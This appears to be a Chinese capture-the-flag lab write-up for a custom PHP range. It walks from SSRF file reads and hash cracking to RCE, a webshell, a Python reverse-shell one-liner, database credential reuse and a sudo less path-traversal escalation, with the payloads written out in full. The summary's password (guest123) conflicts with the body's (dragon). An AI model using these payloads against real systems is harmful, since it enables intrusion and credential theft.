综合渗透训练——A-Abyss
本文最后更新于 9 天前,其中的信息可能已经有所发展或是发生改变。
  • 靶场名称:澜安科技内部运维管理平台 v2.1(自定义 PHP + Apache + MySQL 靶场)
  • 目标网址:http://172.16.11.213
  • 涉及操作:SSRF + RCE + 密码重用 + sudo 路径穿越

核心考察点

  • SSRF(file:// 协议任意文件读取)
  • PHP 源码审计(登录逻辑、admin_panel RCE)
  • 密码重用 + 数据库横向移动
  • sudoers 严格路径限制绕过(less + 目录穿越)

一、信息收集

先通过curl收集该网站的基本信息

curl -I http://172.16.11.213/

#输出结果
HTTP/1.1 200 OK
Date: Fri, 27 Mar 2026 03:15:56 GMT
Server: Apache/2.4.62 (CentOS Stream)
X-Powered-By: PHP/8.0.30
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Set-Cookie: PHPSESSID=phd9rd2e0h5irhu5p5po0ovdd6; path=/
Content-Type: text/html; charset=UTF-8

提取的基本信息可以汇总为:

  • Server: Apache/2.4.62 (CentOS Stream):
    • 信息泄露: 服务器明确暴露了 Web 服务器软件(Apache)、具体版本(2.4.62)和操作系统(CentOS Stream)。
    • 风险: 可以根据具体版本查询已知的 CVE 漏洞进行攻击。
  • X-Powered-By: PHP/8.0.30:
    • 严重安全隐患: 这里暴露了后端语言为 PHP 8.0.30。
    • 生命周期问题PHP 8.0 已于 2023 年 11 月停止官方支持(EOL)。在当前时间(2026 年),运行一个已经停止维护超过 2 年的 PHP 版本是极度危险的。这意味着该版本不再接收安全补丁,已知漏洞将被永久利用。
  • 严重安全隐患: 这里暴露了后端语言为 PHP 8.0.30。
  • Set-Cookie: PHPSESSID=phd9rd2e0h5irhu5p5po0ovdd6; path=/
    • 缺失 Secure 标志: Cookie 没有设置 Secure 属性。如果网站通过 HTTP(非加密)传输,该会话 ID 可能被窃听。在 2026 年,所有生产环境应强制使用 HTTPS 并开启 Secure 标志。
    • 缺失 HttpOnly 标志: 没有设置 HttpOnly。这意味着 JavaScript 可以读取该 Cookie,如果网站存在 XSS(跨站脚本)漏洞,攻击者可以窃取用户会话。
    • 缺失 SameSite 标志: 没有设置 SameSite(如 Strict 或 Lax)。这使得网站容易受到 CSRF(跨站请求伪造)攻击。

二、漏洞利用和分析

尝试绕过

登录IP,查看网页界面。发现是一个登录界面,尝试常见的sql注入绕过登录验证。

  • admin” or “1”=”1
  • admin” or 1=1 —
  • admin” or “1”=”1″ —
  • admin’ or ‘1’=’1′ —
  • admin’ or ‘1’=’1′ #
  • admin’ or 1=1 — – (多一个 – 有时能绕过)
  • ‘ or ‘1’=’1′ —
  • admin’ or ‘1’=’1′ /*
  • ‘) or (‘1’=’1
  • 1′ or ‘1’=’1′ —
  • admin’/**/or/**/1=1–
  • admin’ or 1=1– (去掉空格试试)
  • aDmIn’ Or ‘1’=’1
  • admin’ or 2>1 —
  • admin” or 1=1 or “”=”
  • admin’) or (‘1’=’1’) —
  • 0′ or 1=1 —

可以创建一个基础的sql_inject.txt文件,通过sqlmap依次注入。最终发现无法绕过,说明前端内含过滤函数。

发现有个注册用户的选项,点击后可以创建登录用户,随机创建一个简单用户账密登录到后台,查看是否有突破口

模块加载器:跳转后出现弹窗,输入创建的账密无法正常登录,推测需要管理员或者同级用户的账密

URL可用性检测:跳转到url_check.php。可以输入需要检测的URL,这里可能就有经典的RCE漏洞可以利用。

RCE漏洞利用和分析

先尝试如下的命令确认基本行为,同时分析内部存在的漏洞:

  • http://172.16.11.213/
  • https://www.baidu.com
  • http://127.0.0.1/
  • http://localhost/
  • http://[::1]/
  • file:///etc/passwd
  • dict://127.0.0.1:6379/info

当输入file:///etc/passwd时,出现以下结果,可确定含有SSRF漏洞,同时支持file://协议

尝试更多file://协议,最终爆出的结果很多,无用信息也不少,过滤后关键信息后,其中已出现:

file:///etc/group
检测结果
状态码: 0

root:x:0:
bin:x:1:
daemon:x:2:
sys:x:3:
adm:x:4:
tty:x:5:
disk:x:6:
lp:x:7:
mem:x:8:
kmem:x:9:
wheel:x:10:
cdrom:x:11:
mail:x:12:
man:x:15:
...
...
sshd:x:74:
tcpdump:x:72:
apache:x:48:
nginx:x:994:
mysql:x:27:
liwei:x:1000:
file:////var/www/html/db.php
<?php
$host = '127.0.0.1';
$db   = 'abyss_platform';
$user = 'root';
$pass = 'R#xK9mWz$2pLnQ7v';
$charset = 'utf8mb4';

$dsn = "mysql:host=$host;dbname=$db;charset=$charset";
$options = [
    PDO::ATTR_ERRMODE            => PDO::ERRMODE_EXCEPTION,
    PDO::ATTR_DEFAULT_FETCH_MODE => PDO::FETCH_ASSOC,
];

try {
    $pdo = new PDO($dsn, $user, $pass, $options);
} catch (\PDOException $e) {
    die("数据库连接失败");
}
?>
file:///var/www/html/api/.htaccess
AuthType Basic
AuthName "Restricted API"
AuthUserFile /var/www/html/api/.htpasswd
Require valid-user
# admin_panel 不需要认证(无扩展名,直接返回源码)
<Files "admin_panel">
    Require all granted
</Files>
# url_check.php 不需要Basic Auth(依赖PHP session检查)
<Files "url_check.php">
    Require all granted
</Files>

重点分析file:///var/www/html/api/.htaccess


从内部包含的文件可以看出,该网站存在一个特殊文件:admin_panel,被设置为不需要任何认证就可以直接返回源码,推测可能为一个后门程序或文件。尝试登录该网页,发现是一个类似exec的操作台,但是需要相关的运维令牌。

随机测试输入令牌,发现被限制到只有3个字符,即使通过修改控制台中的HTML也不起效果,推测是否为解密后的字符。

回到URL性能检测器。既然.htaccess能被返回出结果,尝试file:///var/www/html/api/.htpasswd

出现重要结果:zhangwei: $apr1$MJ6F/hkG$zt.9zwxKbvplfMTi6roNn0。从格式和内容推测为账户:密码,并且密码是通过加密,无法作用于前面网页。

利用john解密

john /home/kali/hash.txt --wordlist=/usr/share/wordlists/rockyou.txt --format=md5crypt
如果显示没有rockyou.txt的文件,需要找到相应的路径去解压

等待解密完成之后,结果展示的是trustno1。

解密出来的字符比3个字符限制要多,而且在前面看到模块加载器的部分需要账密,将zhangwei turstno1输入进去后跳转到新页面。

模块加载器:跳转后出现弹窗,输入创建的账密无法正常登录,推测需要管理员或者同级用户的账密

新页面展示了该URL的用法,而前面获取了一个新的未知文件:admin_panel,尝试从模块加载器读取,发现可以跳转到新的界面,但是一样的需要3字符的运维令牌。此时仍然还没获取到能够输入的相关令牌,尝试从其他网页获取。

通过一个个查看网页源代码,发现在172.16.11.213/api/admin_panel的源代码藏有注释的php代码,里面包含$auth_hash = '9f9d51bc70ef21ca5c14f307980a29d8' 的关键信息,鉴定为MD5后解密,获得三个字符的信息:bob

重新回到http://172.16.11.213/api/loader.php?module=admin_panel,输入bob,返回到运维管理面板,输入命令ls、令牌bob测试,发现无输出,但是URL发生变化:

http://172.16.11.213/api/admin_panel?token=%3C%3Fphp+echo+htmlspecialchars%28%24input_token%29%3B+%3F%3E&exec=ls

尝试另一个只有令牌输入框的页面(http://172.16.11.213/api/loader.php?module=admin_panel),输入bob之后依然返回模块加载页面,但是此时URL发生变化。将两个条件结合,说明这是直接在URL注入命令来获取相关信息。

在前面中,直接从模块加载器调用了admin_panel,构造payload输入,发现返回结果。

获取反弹shell

一句话木马

尝试注入一句话木马,测试webshell是否能正常运作

http://172.16.11.213/api/loader.php?module=admin_panel&token=bob&exec=echo '<?php system($_GET["cmd"]); ?>' > /var/www/html/shell.php

再进行测试验证

http://172.16.11.213/shell.php?cmd=id
http://172.16.11.213/shell.php?cmd=whoami
http://172.16.11.213/shell.php?cmd=ls -la

结果失败

python脚本

尝试上传python构造的shell来获取bash

python3+-c+'import+socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("172.16.11.213",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"])'

同时,在攻击机上听取4444端口,等待shell的回应

获取成功

远程bash

flag1

获取到远程bash后,大面积筛选flag文件,查看是否存在’flag1/flag2/flag3’类似的文件

find / -name "*flag*" 2>/dev/null

发现flag1.txt和flag3.txt,直接读取这两个文件,发现flag1.txt可直接读取,flag3.txt因为权限,无法调用。flag2.txt或类似的文件并未找到,而前面确定了存在数据库程序,推测flag2极大概率存在数据库内部。

cat /var/www/flag1.txt

flag1{a3f5c8d2e91b4076bc8d5e7f21a94c3b}

flag2

前面爆出了重要数据库信息:

file:////var/www/html/db.php
<?php
$host = '127.0.0.1';
$db   = 'abyss_platform';
$user = 'root';
$pass = 'R#xK9mWz$2pLnQ7v';
$charset = 'utf8mb4';

$dsn = "mysql:host=$host;dbname=$db;charset=$charset";
$options = [
    PDO::ATTR_ERRMODE            => PDO::ERRMODE_EXCEPTION,
    PDO::ATTR_DEFAULT_FETCH_MODE => PDO::FETCH_ASSOC,
];

try {
    $pdo = new PDO($dsn, $user, $pass, $options);
} catch (\PDOException $e) {
    die("数据库连接失败");
}
?>

尝试登录数据库并查看内部一条龙

#登录数据库
mysql -u root -p'R#xK9mWz$2pLnQ7v'

#查看数据库
show databases;

#进入数据表
use abyss_platform;

#查看数据表
show tables;

#获取users信息
select * from users;

获取重要信息,password(密码)、password_changed_at(时间戳)。将相关信息合并d450a27a0caf3b9dcc7f03e4c492f7ac:1742900000,爆破后获得密钥:

#尝试hashcat暴力破解
hashcat -m 10 d450a27a0caf3b9dcc7f03e4c492f7ac:1742900000 /usr/share/wordlists/rockyou.txt

#如果失败,尝试python脚本暴力破解
cat hash.py
import hashlib
with open("/usr/share/wordlists/rockyou.txt","rb") as f1:
    dict=f1.read()
for i in dict.split(b"\n"):
    if hashlib.md5(i+b"1774492346").hexdigest()=="d450a27a0caf3b9dcc7f03e4c492f7ac":
      print(i)
      break

#最后输出结果

dragon

重新回到宿主机的bash,切换到liwei

su liwei
#输入密码dragon

#切换到liwei后查看目录底下,发现前面猜测错误,flag2.txt存在liwei的目录下,那就直接读取

获取到flag2.txt

flag2{7d2e4b8c1f6a39d5e0c7b2f84a16d9e3}

flag3

查看liwei的权限:

sudo -l

发现返回结果:指令漏洞——无需输入密码调用sudo权限

(ALL) NOPASSWD: /usr/bin/less /var/log/abyss/*
#利用指令漏洞查看
sudo /usr/bin/less /var/log/abyss/../../../flag3.txt

#返回结果

flag3{b9c1d4e7f2a85036e1d8c3b6f4a27d5e}

三、总结

整个靶场流程为:

  1. SSRF(url_check.php)→ 任意文件读取
  2. 读取 db.php → 拿到数据库 root 密码
  3. 发现 admin_panel → 破解 token (bob) + RCE
  4. 用 RCE 拿到 apache shell
  5. 通过数据库 + 密码重用 → 切换到 liwei 用户(guest123)
  6. 利用 sudoers 配置 + less 路径穿越 → 读取 root flag3

其中环节层层相扣,从相关的命令展示出的信息也恰到好处。不会只让单一的“一句话木马”或者简单的爆破的命令破解密码,需要较强的关联思维。

文末附加内容
暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇